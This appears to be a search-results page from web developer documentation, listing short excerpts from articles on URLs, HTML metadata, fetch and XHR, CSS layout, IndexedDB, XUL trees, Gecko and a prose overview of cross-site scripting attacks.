ators (urls), explaining what they are and how they're structured. prerequisites: you need to first know how the internet works, what a web server is and the concepts behind links on the web. objective: you will learn what a url is and how it works on the web. summary with hypertext and http, url is one of the key concepts of the web. it is the mechanism used by browsers to retrieve any published resource on the web. url stands for uniform resource locator. a url is nothing more than the address of a given unique resource on the web. in theory, each valid url points to a unique resource. such resources can be an html page, a css document, an image, etc. in practice, there are some exceptions, the most common being a url pointing to a resource that no longer e...
...b server, it is up to the owner of the web server to carefully manage that resource and its associated url. active learning there is no active learning available yet. deeper dive basics: anatomy of a url here are some examples of urls: https://developer.mozilla.org https://developer.mozilla.org/docs/learn/ https://developer.mozilla.org/search?q=url any of those urls can be typed into your browser's address bar to tell it to load the associated page (resource). a url is composed of different parts, some mandatory and others optional. let's see the most important parts using the following url: http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#somewhereinthedocument http is the protocol. the first part of the url indicates which protocol the browser must use. a p...
... www.example.com is the domain name. ...
...And 9 more matches
What’s in the head? Metadata in HTML - Learn web development
it contains information such as the page <title>, links to css (if you choose to style your html content with css), links to custom favicons, and other metadata (data about the html, such as the author, and important keywords that describe the document.) in this article we'll cover all of the above and more, in order to give you a good basis for working with markup. prerequisites: basic html familiarity, as covered in getting started with html. ...
...instead, the head's job is to contain metadata about the document. in the above example, the head is quite small: <head> <meta charset="utf-8"> <title>my test page</title> </head> in larger pages however, the head can get quite full. try going to some of your favorite websites and use the developer tools to check out their head contents. ...
...t's get started. adding a title we've already seen the <title> element in action — this can be used to add a title to the document. this however can get confused with the <h1> element, which is used to add a top level heading to your body content — this is also sometimes referred to as the page title. ...
...And 9 more matches
From object to iframe — other embedding technologies - Learn web development
, and <iframe>, like flash movies and other webpages. a short history of embedding a long time ago on the web, it was popular to use frames to create websites — small parts of a website stored in individual html pages. these were embedded in a master document called a frameset, which allowed you to specify the area on the screen that each frame filled, rather like sizing the columns and rows of a table. these were considered the height of coolness in the mid to late 90s, and there was evidence that having a webpage split up into smaller chunks like this was better for download speeds — especially noticeable with network connections being so slow back then. they did however have many problems, which far outweighed any positives as network speeds got faster, so you don't see them bei...
...eful thinking. let's explore the code in a bit more detail. ...
...0 removes the border. using this isn't really recommended any more, as the same effect can be better achieved using border: none; in your css. ...
...And 9 more matches
Fetching data from the server - Learn web development
ajax), because it tended to use xmlhttprequest to request xml data. this is normally not the case these days (you'd be more likely to use xmlhttprequest or fetch to request json), but the result is still the same, and the term "ajax" is still often used to describe the technique. the ajax model involves using a web api as a proxy to more intelligently request data rather than just having the browser reload the entire page. let's think about the significance of this: go to one of your favorite information-rich sites, like amazon, youtube, cnn, etc., and load it. now search for something, like a new product. the main content will change, but most of the surrounding information, like the header, footer, navigation menu, etc., will stay the same. this is a really good thing because: p...
...cation, we'd be more likely to use a server-side language like php, python, or node to request our data from a database. here, however, we want to keep it simple and concentrate on the client-side part of this. xmlhttprequest xmlhttprequest (which is frequently abbreviated to xhr) is a fairly old technology now — it was invented by microsoft in the late '90s, and has been standardized across browsers for quite a long time. to begin this example, make a local copy of ajax-start.html and the four text files — verse1.txt, verse2.txt, verse3.txt, and verse4.txt — in a new directory on your computer. in this example, we will load a different verse of the poem (which you may well recognize) via xhr when it's selected in the drop-down menu. just inside the <script> element, add th...
... with the example as it stands is that it won't show any of the poem when it first loads. to fix this, add the following two lines at the bottom of your code (just above the closing </script> tag) to load verse 1 by default, and make sure the <select> element always shows the correct value: updatedisplay('verse 1'); versechoose.value = 'verse 1'; serving your example from a server modern browsers will not run xhr requests if you just run the example from a local file. this is because of security restrictions (for more on web security, read website security). to get around this, we need to test the example by running it through a local web server. to find out how to do this, read how do you set up a local testing server? fetch the fetch api is basically a modern replacement for xhr; ...
...And 9 more matches
Communicating with frame scripts
e message manager's addmessagelistener() api. the message passed to the listener is an object containing the following properties: name string containing the message name. sync boolean declaring whether the message was send synchronously or aynchronously. data the json object passed as the second parameter to sendasyncmessage(). target the xul <browser> element from which this message was sent. objects an object whose properties are any cpows exposed by the sender as the third argument to sendasyncmessage() in the example below the listener just logs all the messages details: // chrome script messagemanager.addmessagelistener("my-addon@me.org:my-e10s-extension-message", listener); function listener(message) { console.lo...
... synchronous messaging to send a sync...
...message.name); console.log(message.sync); console.log(message.data); console.log(message.target); console.log(message.objects); } so combining this message listener with the message above will give console output somewhat like this, when the user clicks a <div>: "my-addon@me.org:my-e10s-extension-message" false object { details: "they clicked", tag: "div" } <xul:browser anonid="initialbrowser" ... > { target: <div#searchcontainer> } if your code requires access to a window (for example to run window.opendialog), and your message listener is run from somewhere without access to a window (e.g. an xpcom component), you can access the window of the browser that sent the message with message.target.ownerdocument.defaultview. synchronous messaging to send a synchronous message, the fr...
...And 9 more matches
MathML Accessibility in Mozilla
start, a over b, end of fraction, end of root c plus d root of fraction start. a over b. fraction end. root end. a numerator b denominator fraction base c + d root-index root ab __________ the b root of a __________ b root of a, end of root b root of a. root end. a base b root index root abcdef __________ table with 2 rows and 3 columns row 1 column 1 a column 2 b column 3 c row 2 column 1 d column 2 e column 3 f end table __________ table start, row 1, column 1, a, row 1, column 2, b, row 1, column 3, c, row 2, column 1, d, row 2, column 2, e, row 2, column 3, f, table end math table with 2 rows 3 columns. row 1. a. b. ...
... 3 f end table __________ table start, row 1, column 1, a, row 1, column 2, b, row 1, column 3, c, row 2, column 1, d, row 2, column 2, e, row 2, column 3, f, table end math table with 2 rows 3 columns. row 1. a. b. c. row 2. d. e. f. table end. a column 1 row 1 b column 2 c column 3 d column 1 row 2 e column 2 f column 3 math table with 3 columns and 2 rows abcde __________ multi-scripts with base a and 1 prescript and 1 post-script pre-scripts lower d upper e post-scripts lower b upper c end multi-scripts __________ not supported yet. see bug 1176983 and webkit's bug 146454 a. pre-subscript d pre-superscript e subscript b.superscript...
... cap d of d x d y __________ ∬, subscript d, dxdy webkit's bug 146505 double integral. subscript d. d x d y torture test 18: f ( x ) = { 1 / 3 if 0 ≤ x ≤ 1 ; 2 / 3 if 3 ≤ x ≤ 4 ; 0 elsewhere. ...
...And 9 more matches
Bytecode Descriptions
ately preceding jsop::getname or jsop::getgname instruction! this is how we implement typeof step 2, making typeof nonexistingvariable return "undefined" instead of throwing a referenceerror. in a global scope: typeof x compiles to getgname "x"; typeof. typeof (0, x) compiles to getgname "x"; typeofexpr. emitting the same bytecode for these two expressions would be a bug. per spec, the latter throws a referenceerror if x doesn't exist. format: jof_ic pos stack: val ⇒ (+val) the unary + operator. +val doesn't do any actual math. it just calls tonumber(val). the conversion can call .tostring()/.valueof() methods and can throw. the result on success is always a number. (per spec, unary - supports bigints, but unary + does not.) format: jof_ic neg stack: val ⇒ (-val) the unary - operat...
...lt, gt, le, ge stack: lval, rval ⇒ (lval op rval) relative operators (<, >, <=, >=). pop two values, compare them, and push the boolean result. the comparison may perform conversions that call .tostring()/.valueof() methods and can throw. implements: relational operators: evaluation. format: jof_ic instanceof stack: value, target ⇒ (value instanceof target) the instanceof operator. this throws a typeerror if target is not an object. it calls target[symbol.hasinstance](value) if the method exists. on success, the result is always a boolean value. format: jof_ic in stack: id, obj ⇒ (id in obj) the in operator. push true if obj has a property with the key id. otherwise push false. this throws a typeerror if obj is not an object. this can fire proxy hooks and can throw. on success, th...
...he conversion can call .tostring()/.valueof() methods and can throw. on success, the result is always numeric. format: jof_ic pow stack: lval, rval ⇒ (lval ** rval) the exponentiation operator (**). pop two values, convert them to numeric values, do exponentiation, and push the result. the top value is the exponent. the conversion can call .tostring()/.valueof() methods and can throw. this throws a rangeerror if both values are bigints and the exponent is negative. format: jof_ic conversions topropertykey stack: propertynamevalue ⇒ propertykey convert a value to a property key. implements: topropertykey, except that if the result would be the string representation of some integer in the range 0..2^31, we push the corresponding int32 value instead. this is because the spec insists t...
...And 9 more matches
Using XPCOM Components
« previousnext » one of the best ways to begin working with xpcom - especially when you are designing the interface to a component that will be used by others, as we do in starting weblock - is to look at how clients are already using xpcom components. applications like the mozilla browser are sophisticated, modularized clients of xpcom components. in fact, virtually all of the functionality that you associate with a browser - navigation, window management, managing cookies, bookmarks, security, searching, rendering, and other features - is defined in xpcom components and accessed by means of those component interfaces. mozilla is made of xpcom components. this chapter demonstrates how mozilla uses some of these xpcom objects, such as the cookiemanager, and shows how access ...
...monstrates how mozilla uses some of these xpcom objects, such as the cookiemanager, and shows how access to the weblock component will be defined. component examples you can find out more about how you can use the particular components described here in the xpcom api reference. for now, what's important to see is how components like the ones in this section are obtained and used by the mozilla browser. cookie manager cookie management is one of the many sets of functionality that is made available to the browser in the form of an xpcom component and that can be reused by developers who want similar functionality in their applications. whenever a user accesses the cookie manager dialog to view, organize, or remove cookies that have been stored on the system, they are using the cookiemanager...
... user interface uses javascript that has been given access to xpcom components in the application core with a technology called xpconnect. xpconnect allows interface methods defined via xpidl to be called from javascript, as part of javascript objects that represent instances of components like the cookiemanager. xpconnect is what binds the application code to the user interface of the mozilla browser, to other gecko-based xul, and to javascript environments like xpcshell, which is a command-line javascript interpreter and xpcom tool is built with mozilla. see http://www.mozilla.org/scriptable/ for more information about xpconnect and javascript. this isn't quite all there is to it, of course, but this shows an important aspect of xpcom. the contractual arrangements that xpcom enforces op...
...And 9 more matches
nsIHttpServer
maryport } } } reference : mozilla-release/netwerk/test/httpserver/nsihttpserver.idl [scriptable, uuid(cea8812e-faa6-4013-9396-f9936cbb74ec)] interface nsihttpserver : nsisupports { /** * starts up this server, listening upon the given port. ...
...ver/nsihttpserver.idl [scriptable, uuid(cea8812e-faa6-4013-9396-f9936cbb74ec)] interface nsihttpserver : nsisupports { /** * starts up this server, listening upon the given port. * * @param port * the port upon which listening should happen, or -1 if no specific port is * desired * @throws ns_error_already_initialized * if this server is already started * @throws ns_error_not_available * if the server is not started and cannot be started on the desired port * (perhaps because the port is already in use or because the process does * not have privileges to do so) * @note * behavior is undefined if this method is called after stop() has been * called on this but before the provided callback function has been * called. */ ...
...n has been * called. */ void start(in long port); /** * shuts down this server if it is running (including the period of time after * stop() has been called but before the provided callback has been called). * * @param callback * an asynchronous callback used to notify the user when this server is * stopped and all pending requests have been fully served * @throws ns_error_null_pointer * if callback is null * @throws ns_error_unexpected * if this server is not running */ void stop(in nsihttpserverstoppedcallback callback); /** * associates the local file represented by the string file with all requests * which match request. * * @param path * the path which is to be mapped to the given file; must begin with "/" and ...
...And 9 more matches
Background Tasks API - Web APIs
the cooperative scheduling of background tasks api (also referred to as the background tasks api or simply the requestidlecallback() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so. concepts and usage the main thread of a web browser is centered around its event loop. this code draws any pending updates to the document currently being displayed, runs any javascript code the page needs to run, accepts events from input devices, and dispatches those events to the elements that should receive them. in addition, the event loop handles interactions with the operating system, updates to the browser's own user interface, and so forth. it's an extremely busy chunk of code, and your main javascript ...
...es, it's important for your code to be a good citizen of the web and help to prevent stalls in the execution of the event loop. in the past, there's been no way to do this reliably other than by writing code that's as efficient as possible and by offloading as much work as possible to workers. window.requestidlecallback() makes it possible to become actively engaged in helping to ensure that the browser's event loop runs smoothly, by allowing the browser to tell your code how much time it can safely use without causing the system to lag. if you stay within the limit given, you can make the user's experience much better. getting the most out of idle callbacks because idle callbacks are intended to give your code a way to cooperate with the event loop to ensure that the system is utilized to i...
... know how often your callback will be run (unless you specify a timeout. there's no guarantee that every pass through the event loop (or even every screen update cycle) will include any idle callbacks being executed; if the event loop uses all available time, you're out of luck (again, unless you've used a timeout). idle callbacks should do their best not to overrun the time allotted. while the browser, your code, and the web in general will continue to run normally if you go over the specified time limit (even if you go way over it), the time restriction is intended to ensure that you leave the system enough time to finish the current pass through the event loop and get on to the next one without causing other code to stutter or animation effects to lag. currently, timeremaining() has an upp...
...And 9 more matches
Basic concepts - Web APIs
because it lets you create web applications with rich query abilities regardless of network availability, these applications can work both online and offline. indexeddb is useful for applications that store a large amount of data (for example, a catalog of dvds in a lending library) and applications that don't need persistent internet connectivity to work (for example, mail clients, to-do lists, and notepads). about this document this introduction discusses essential concepts and terminology in indexeddb. it gives you the big picture and explains key concepts. ...
...the design and structure of indexeddb, see big concepts. to learn more about indexeddb terms, see the definitions section. for a detailed tutorial on how to use the api, see using indexeddb. for the reference documentation on the indexeddb api, refer back to the main indexeddb api article and its subpages, which document the types of objects used by indexeddb. for more information on how the browser handles storing your data in the background, read browser storage limits and eviction criteria. overview of indexeddb indexeddb lets you store and retrieve objects that are indexed with a "key." all changes that you make to the database happen within transactions. like most web storage solutions, indexeddb follows a same-origin policy. so while you can access stored data within a domain, you...
...ng you do in indexeddb always happens in the context of a transaction. the indexeddb api provides lots of objects that represent indexes, tables, cursors, and so on, but each of these is tied to a particular transaction. thus, you cannot execute commands or open cursors outside of a transaction. transactions have a well-defined lifetime, so attempting to use a transaction after it has completed throws exceptions. also, transactions auto-commit and cannot be committed manually. this transaction model is really useful when you consider what might happen if a user opened two instances of your web app in two different tabs simultaneously. without transactional operations, the two instances could interfere with each other's modifications. if you are not familiar with transactions in a database, ...
...And 9 more matches
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
flexbox is very well supported across modern browsers, however there are a few issues that you might run into. in this guide we will look at how well flexbox is supported in browsers, and look at some potential issues, resources and methods for creating workarounds and fallbacks. the history of flexbox as with all css specifications the flexbox specification went through a large number of changes before it became the candidate recommendation that we have today. as a candidate recommendation we should not see large changes at this point to the spec, however this has not been the case with past flexbox iterations. flexbox was implemented in an experimental way in several web browsers. at the time the method of creating experimental implementations was to use a vendor prefix. the idea of thes...
...the idea was not to use the experimental implementations in production code. ...
...ked quite different. to create a flex container you would use display: box and there were a number of box-* properties, which did things that you will recognise from flexbox today. there was an update to the spec that updated the syntax to display: flexbox — this was again vendor-prefixed. ultimately the specification was updated to define display: flex as the way to create a flex container. ...
...And 9 more matches
Viewport concepts - CSS: Cascading Style Sheets
this article explains the concept of the viewport — what it is, its impact in terms of css, svg, and mobile devices — and differentiates between the visual viewport and the layout viewport. what is a viewport? a viewport represents the area in computer graphics being currently viewed. in web browser terms, it is generally the same as the browser window, excluding the ui, menu bar, etc. that is, the part of the document you are viewing. documents like this article may be very long. your viewport is everything that is currently visible, notably, the "what is a viewport section", and perhaps some of the navigation menu. the size of the viewport depends on the size of the screen, whether the browser is in fullscreen mode or not, and whether or not the user zoomed in. content outside the vi...
...enu. the size of the viewport depends on the size of the screen, whether the browser is in fullscreen mode or not, and whether or not the user zoomed in. content outside the viewport, such as the see also section in this document, is likely to not be visible onscreen until scrolled into view. on larger monitors where applications aren't necessarily full screen, the viewport is the size of the browser window. on most mobile devices and when the browser is in fullscreen mode, the viewport is the entire screen. in fullscreen mode, the viewport is the device screen, the window is the browser window, which can be as big as the viewport or smaller, and the document is the website, which can be much taller or wider than the viewport. to recap, the viewport is basically the part of the document...
...00 */ window.outerheight /* 900 */ there are several dom properties that can help you query viewport size, and other similar lengths: the document element's element.clientwidth is the inner width of a document in css pixels, including padding (but not borders, margins, or vertical scrollbars, if present). this is the viewport width. ...
...And 9 more matches
background-size - CSS: Cascading Style Sheets
it's stretched to the specified dimension. the unspecified dimension is computed using the image's corresponding intrinsic dimension, if there is one. if there is no such intrinsic dimension, it becomes the corresponding dimension of the background positioning area. note: background sizing for vector images that lack intrinsic dimensions or proportions is not yet fully implemented in all browsers. be careful about relying on the behavior described above, and test in multiple browsers to be sure the results are acceptable. working with gradients if you use a <gradient> as the background and specify a background-size to go with it, it's best not to specify a size that uses a single auto component, or is specified using only a width value (for example, background-size: 50%). rendering ...
...ure the results are acceptable. working with gradients if you use a <gradient> as the background and specify a background-size to go with it, it's best not to specify a size that uses a single auto component, or is specified using only a width value (for example, background-size: 50%). rendering of <gradient>s in such cases changed in firefox 8, and at present is generally inconsistent across browsers, which do not all implement rendering in full accordance with the css3 background-size specification and with the css3 image values gradient specification. .gradient-example { width: 50px; height: 100px; background-image: linear-gradient(blue, red); /* not safe to use */ background-size: 25px; background-size: 50%; background-size: auto 50px; background-size: auto 50%; /* ...
... formal definition initial valueauto autoapplies toall elements. it also applies to ::first-letter and ::first-line.inheritednopercentagesrelative to the background positioning areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimat...
...And 9 more matches
grid - CSS: Cascading Style Sheets
Web › CSS › grid
note: you can only specify the explicit or the implicit grid properties in a single grid declaration. the sub-properties you don’t specify are set to their initial value, as normal for shorthands. also, the gutter properties are not reset by this shorthand. ...
...properties in a single grid declaration. the sub-properties you don’t specify are set to their initial value, as normal for shorthands. also, the gutter properties are not reset by this shorthand. ...
...umns grid-auto-flow grid-auto-rows grid-template-areas grid-template-columns grid-template-rows syntax /* <'grid-template'> values */ grid: none; grid: "a" 100px "b" 1fr; grid: [linename1] "a" 100px [linename2]; grid: "a" 200px "b" min-content; grid: "a" minmax(100px, max-content) "b" 20%; grid: 100px / 200px; grid: minmax(400px, min-content) / repeat(auto-fill, 50px); /* <'grid-template-rows'> / [ auto-flow && dense? ] <'grid-auto-columns'>? values */ grid: 200px / auto-flow; grid: 30% / auto-flow dense; grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px; grid: [line1] minmax(20em, max-content) / auto-flow dense 40%; /* [ auto-flow && dense? ] <'grid-auto-rows'>? / <'grid-template-columns'> values */ grid: auto-flow / 200px; grid: auto-flow dense / 30%; grid: auto-fl...
...And 9 more matches
Live streaming web audio and video - Developer guides
more generally tv and radio programmes that are output live. often shortened to just streaming, live streaming is the process of transmitting media 'live' to computers and devices. this is a fairly complex and nascent subject with a lot of variables, so in this article, we'll introduce you to the subject and let you know how you can get started. the key consideration when streaming media to a browser is the fact that rather than playing a finite file we are relaying a file that is being created on the fly and has no pre-determined start or end. key differences between streamed and static media in this case, we are using static media to describe media that is represented by a file, whether it be an mp3 or webm file. this file sits on a server and can be delivered — like most other files ...
...ct that rather than playing a finite file we are relaying a file that is being created on the fly and has no pre-determined start or end. key differences between streamed and static media in this case, we are using static media to describe media that is represented by a file, whether it be an mp3 or webm file. this file sits on a server and can be delivered — like most other files — to the browser. this is often known as a progressive download. live streamed media lacks a finite start and end time as rather than a static file, it is a stream of data that the server passes on down the line to the browser and is often adaptive (see below). usually, we require different formats and special server-side software to achieve this. adaptive streaming one of the main priorities for live stream...
...pted), rtmps (secure over ssl/tls) and rtmpt (encapsulated within http requests). rtsp real time streaming protocol (rtsp) controls media sessions between endpoints and is often used together with real-time transport protocol (rtp) and with real-time control protocol (rtcp) for media stream delivery. using rtp with rtcp allows for adaptive streaming. ...
...And 9 more matches
<input type="url"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › url
ject, please clone https://github.com/mdn/interactive-examples and send us a pull request. the input value is automatically validated to ensure that it's either empty or a properly-formatted url before the form can be submitted. the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid url or not. on browsers that don't support inputs of type url, a url input falls back to being a standard text input. value a domstring representing a url, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection ...
...ag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. tip: use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. see the section pattern validation for details and an example. placeholder the placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. it should be a word or short phrase that de...
... setting or other factors. an input field can have spell checking enabled if it doesn't have the readonly attribute set and is not disabled. the value returned by reading spellcheck may not reflect the actual state of spell checking within a control, if the user agent's preferences override the setting. non-standard attributes the following non-standard attributes are also available on some browsers. as a general rule, you should avoid using them unless it can't be helped. attribute description autocorrect a string indicating whether or not autocorrect is on or off. safari only. mozactionhint a string indicating the type of action that will be taken when the user presses the enter or return key while editing the field; this is used to determine an ...
...And 9 more matches
Link types - HTML: Hypertext Markup Language
<a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization. <link> <a>, <area>, <form> dns-prefetch hints to the browser that a resource is needed, allowing the browser to do a dns lookup and protocol handshaking before a user clicks the link. <link> <a>, <area>, <form> external indicates that the hyperlink leads to a resource outside the site of the current page; that is, following the link will make the user leave the site. <a>, <area>, <form> <link> first indicates that th...
...ds to a resource giving further help about the parent of the element, and its descendants. if the element is <link> it indicates that the hyperlink leads to a resource giving further help about the page as a whole. <a>, <area>, <form>, <link> none. icon defines a resource for representing the page in the user interface, usually an icon (auditory or visual). ...
...ment is <link> it indicates that the hyperlink leads to a resource giving further help about the page as a whole. <a>, <area>, <form>, <link> none. icon defines a resource for representing the page in the user interface, usually an icon (auditory or visual). in the browser, it is usually referred to as the favicon. if there are multiple <link rel="icon">s, the browser uses their media, type, and sizes attributes to select the most appropriate icon. if several icons are equally appropriate, the last one is used. if the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on. note: apple's ios does not use this link type, nor the sizes att...
...And 9 more matches
Types of attacks - Web security
which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html content. cross-site scripting attacks usually occur when 1) data enters a web app through an untrusted source (most often a web request) or 2) dynamic content is sent to a web user without being v...
...te-specific information, or lets the malicious script rewrite the html content. cross-site scripting attacks usually occur when 1) data enters a web app through an untrusted source (most often a web request) or 2) dynamic content is sent to a web user without being validated for malicious content. the malicious content often includes javascript, but sometimes html, flash, or any other code the browser can execute. the variety of attacks based on xss is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to a webpage controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. xss attacks can be put into three categories: st...
... or performing other malicious operations on the user's machine under the guise of the vulnerable site. xss attacks can be put into three categories: stored (also called persistent), reflected (also called non-persistent), or dom-based. stored xss attacks the injected script is stored permanently on the target servers. ...
...And 9 more matches
Miscellaneous - Archive of obsolete content
mproving this situation by providing a simple method to restart the application. example for firefox: services.startup.quit(services.startup.eforcequit|services.startup.erestart); mouse and keyboard detecting mouse wheel events when scrolling the mouse wheel on an element, the dommousescroll event fires. event.detail contains the number of lines to scroll. this event is mozilla-only; other browsers may support window.onmousewheel. <div id="scrollarea" style="overflow: scroll; height: 6em; width: 10em;"> this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scro...
...it also ...
...erfaces.nsidomwindowutils); utils.sendmouseevent("mousedown", 10, 10, 0, 1, 0); utils.sendmouseevent("mouseup", 10, 10, 0, 1, 0); getting the currently selected text from browser.xul overlay context: var selectedtext = document.commanddispatcher.focusedwindow.getselection().tostring(); or: content.getselection(); // |window| object is implied; i.e., window.content.getselection() or: getbrowserselection(); // |window| object is implied; i.e., window.getbrowserselection() this final option massages the selection to remove leading and trailing whitespace. it also collapses consecutive whitespaces into a single whitespace, and returns at most 150 characters, making it ideal to display text in context menus. it is defined at //github.com/realityripple/pale-moon/blob/master/palemoon/base...
...And 8 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
indow while you can use javascript to get child windows opened from the parent window, you cannot get dialogs or windows that have no relation to that window. to overcome this limitation, nsiwindowmediator makes it possible to access all of firefox's windows. get active window one thing that nsiwindowmediator is often used for is to get the active window. listing 4 shows how to get the active browser window and the number of open tabs. passing the name of the window type as the parameter of the nsiwindowmediator.getmostrecentwindow() method returns the most recently active window from among the root element's windows with that type set for the windowtype attribute value. setting the parameter to null returns the active window from among all windows, including dialogs, etc. listing 4: get ...
...w and the number of open tabs. passing the name of the window type as the parameter of the nsiwindowmediator.getmostrecentwindow() method returns the most recently active window from among the root element's windows with that type set for the windowtype attribute value. setting the parameter to null returns the active window from among all windows, including dialogs, etc. ...
... windowtype attribute value. setting the parameter to null returns the active window from among all windows, including dialogs, etc. ...
...And 8 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
nt [sic] of redundant <font> tags inside every cell was probably enough to double file size. my initial attempts at the markup and css for the wired news design eliminated the majority of our tables, but left one master table to control the primary columns of each page. that approach meant that the content of every column would have to be loaded and calculated before it would be rendered in the browser window. that wasn't good enough. around that time, i started discovering great sites like glish.com and bluerobot.com. both presented and documented viable means of producing multi-column layouts without a single table. despite some initial setbacks with those approaches due to our own unique scenarios, it wasn't long before i discovered a variation of one of their methods that worked for the w...
...or two weeks, and finally narrowed in on positioned divs as the choice for wired news. why did you choose positioning over floats? floats had a few disadvantages from my perspective. one was the required order of content within generic markup. for wired news, the center (or main) column usually contains the most important content for each page. i wanted center column content to appear first in browsers that got the un-styled version. with floats, either the left column or the right column always had to be drawn first. for sites that rely on a left or right column for primary navigation, this content order requirement of float usage may produce desired and advantageous behavior. i also found a lot of trouble ensuring a consistent vertical start position of columns using floats. two column la...
...wn first. for sites that rely on a left or right column for primary navigation, this content order requirement of float usage may produce desired and advantageous behavior. i also found a lot of trouble ensuring a consistent vertical start position of columns using floats. two column layouts using floats seemed easy. but adding a third column to the mix created too many width variables for some browsers to dynamically calculate a total. resizing the browser window often resulted in one column getting pushed to the bottom of another. using absolute positioning for left and right columns allowed the markup for each column to fall in any order. there are some technicalities in the order of our markup and some ad units that would require too much to cover here. but positioning did allow the cent...
...And 8 more matches
More Tree Features - Archive of obsolete content
« previousnext » here, we'll see more features of trees. hierarchical trees the tree element is also used to create hierarchical lists, like that found in a file manager or a browser's bookmarks list. the tree view has a number of functions which specify the hierarchy of the items in a tree. each item in the tree has a level starting at 0. the topmost items in the tree will have a level of 0, the children of those items will have a level of 1, the children below that will have a level of 2, and so on. ...
...the tree view has a number of functions which specify the hierarchy of the items in a tree. each item in the tree has a level starting at 0. the topmost items in the tree will have a level of 0, the children of those items will have a level of 1, the children below that will have a level of 2, and so on. the tree will query the view for the level of each item in order to determine how to draw the rows. the tree will draw the open and close icons to open and close a parent item as well as lines connecting the children to their parents. the tree will also handle drawing the rows with the right level of indenting. however, the view will need to make sure it keeps track of the level of the rows as necessary. this can sometimes be quite tricky, but fortunately, the built-in content tree view does a...
...and close a parent item as well as lines connecting the children to their parents. the tree will also handle drawing the rows with the right level of indenting. however, the view will need to make sure it keeps track of the level of the rows as necessary. this can sometimes be quite tricky, but fortunately, the built-in content tree view does all of the hard work for us. to create a set of nested rows, all we need to do is add a second treechildren element inside the parent treeitem. you can then add items inside that to specify the child rows of an item. don't put the inner treechildren element inside the treerow as this won't work. ...
...And 8 more matches
Styling a Tree - Archive of obsolete content
to be applied to the column but only to the header. the body of the tree must be styled in a somewhat different way than other elements. this is because the tree body is stored in a different way to other elements. the outer treechildren is the only real element in the tree body. the inner elements are just placeholders. setting properties instead, you must use the properties attribute on the rows or cells to set one or more named properties. this can be used with trees with static content, rdf built content or with those with a custom view. let's say we want a particular row to have a blue background color. this would be used to implement mozilla mail's labels feature. we'll use a property called 'makeitblue'. you can use whatever name you want. you can set multiple properties by separati...
...x to use in a style sheet. this is because you can specify the style for a number of parts of the cell individually. you can style not only the cell and its text, but the twisty and indentation. the following is the syntax that needs to be used: treechildren::-moz-tree-row(makeitblue) { background-color: blue; } this style which has a complex selector is used to style the background color of rows that have the 'makeitblue' property. this special syntax is needed because the cells themselves are not separate elements. all of the content inside the tree's body is rendered by the treechildren element. however, css has a concept to access parts of elements considering them to be pseudo-elements. this selector matches some tree rows inside the treechildren element as pseudo-elements. the style...
... the text '::-moz-tree-row' specifies what content area is desired, which in this case is a row. you can also use the following values: ::-moz-tree-cell: a cell. ...
...And 8 more matches
XULRunner tips - Archive of obsolete content
useful chrome urls most of these require branding. window url w...
... useful chrome urls most of these require branding. ...
... var windowds = components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"] .getservice(components.interfaces.nsiwindowdatasource); var tmpnamespace = {}; var sl = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .createinstance(componen...
...And 8 more matches
The First Install Problem - Archive of obsolete content
this is an old working document; see en/gecko_plugin_api_reference/plug-in_development_overview for current information. problem definition the first install problem is the name given to the conditions arising when a plugin or embeddable software installs itself on a system first, before any other gecko-based browser. ...
... this is an old working document; see en/gecko_plugin_api_reference/plug-in_development_overview for current information. problem definition the first install problem is the name given to the conditions arising when a plugin or embeddable software installs itself on a system first, before any other gecko-based browser. ...
...ising when a plugin or embeddable software installs itself on a system first, before any other gecko-based browser. if this happens, gecko-based browsers often won't be able to discover the plugin, and will prompt the user to download the plugin again if the affiliated mime type is encountered on the web. unless gecko does a pre-emptive scan upon startup for desirable plugins that are not in the browser's plugins directory first, the best way to solve this problem is to encourage plugin vendors to leave dlls (and xpt files, if applicable) in a location that gecko can discover at runtime. this document presents a consistent way to do that. ...
...And 8 more matches
Gecko FAQ - Gecko Redirect 1
what is gecko? ...
... what is gecko? ...
...new name was chosen following a trademark infringement dispute. for more information see the wikipedia article on gecko. what is a layout engine? basically, a layout engine takes content (such as html, xml, image files, applets, and so on) and formatting information (such as cascading style sheets, presentational html tags, etc.) and displays the formatted content on the screen. it paints the browser's content area, which is the blank area inside the browser window's chrome. formally, a layout engine defines the placement policy for a document and places content on a page. gecko's core is a very fast layout engine. gecko also offers the ability to parse various document types (html, xml, svg, etc), advanced rendering capabilities including compositing and transformations, and support for e...
...And 8 more matches
Debugging CSS - Learn web development
